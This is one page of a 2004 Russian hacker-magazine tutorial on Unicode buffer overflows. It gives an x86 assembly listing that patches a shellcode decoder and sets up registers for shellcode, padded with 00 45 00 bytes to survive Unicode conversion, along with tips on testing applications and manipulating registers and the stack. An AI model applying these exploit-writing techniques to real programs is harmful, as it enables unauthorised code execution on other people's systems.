Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #45, АВГУСТ 2004 г.

Unicode-Buffer Overflows

Мысла Владислав

Спецвыпуск Xakep, номер #045, стр. 045-056-7


Патч для декодера + настройки

; Patch for decoder

00 45 00 add byte ptr [ebp],al

C6 00 8A mov byte [eax],0x8A

00 45 00 add byte ptr [ebp],al

40 inc eax

00 45 00 add byte ptr [ebp],al

40 inc eax

00 45 00 add byte ptr [ebp],al

C6 00 58 mov byte ptr byte [eax],0x58

00 45 00 add byte ptr [ebp],al

40 inc eax

00 45 00 add byte ptr [ebp],al

40 inc eax

00 45 00 add byte ptr [ebp],al

C6 00 14 mov byte [eax],0x14

00 45 00 add byte ptr [ebp],al

40 inc eax

00 45 00 add byte ptr [ebp],al

40 inc eax

00 45 00 add byte ptr [ebp],al

C6 00 E2 mov byte [eax],0xE2

00 45 00 add byte ptr [ebp],al

40 inc eax

00 45 00 add byte ptr [ebp],al

Настройки для shell-кода:

40 inc eax

00 45 00 add byte ptr [ebp],al

6A 00 push 0

5B pop ebx

00 45 00 add byte ptr [ebp],al

43 inc ebx

00 45 00 add byte ptr [ebp],al

50 push eax

00 45 00 add byte ptr [ebp],al

5C pop esp

00 45 00 add byte ptr [ebp],al

6A 00 push 0

00 45 00 add byte ptr [ebp],al

59 pop ecx

BA 00 34 00 FF mov edx,0FF003400h

00 F1 add cl,dh

00 45 00 add byte ptr [ebp],al

Проверить приложение очень легко, в ASCII формате символ 0х00 обозначает конец строки, а если программа после получения 0x0041 обработает его как «А», значит, этот метод применим.

Легко проверить, что для указания регистров eax, ebx,…, edi в операции отводится 3 бита. Следовательно, их можно использовать совместно с однобайтными операциями (push, pop, xchg и т.д.).

Для операций вычитания достаточно добавлять числа, которые дальше 0х7FFFFFFF.

Помни, что, когда изменяются младшие разряды r8, старшие остаются неизменными, то есть если ты добавишь к 0х00FF один байт 0х01, то результатом будет 0х0000, а не 0х0100. Осторожно относись к таким операциям.

Нет проблем и с инкрементацией/декрементацией r32 регистров.

40 inc eax

48 dec eax

Стек можно использовать для модификации памяти или чтения из нее. Манипулируя esp, можно делать сдвиги в числах на 1 байт – очень удобно, если надо изменить значение регистра на не UnicodeDW-формат.

Иногда, если ты переполняешь данные в памяти, весьма возможно, что ты перезапишешь и esp. Может быть и так, что переполнение происходит не в стеке. В таких случаях тебе придется самостоятельно искать свое местоположение.

Назад на стр. 045-056-6  Содержание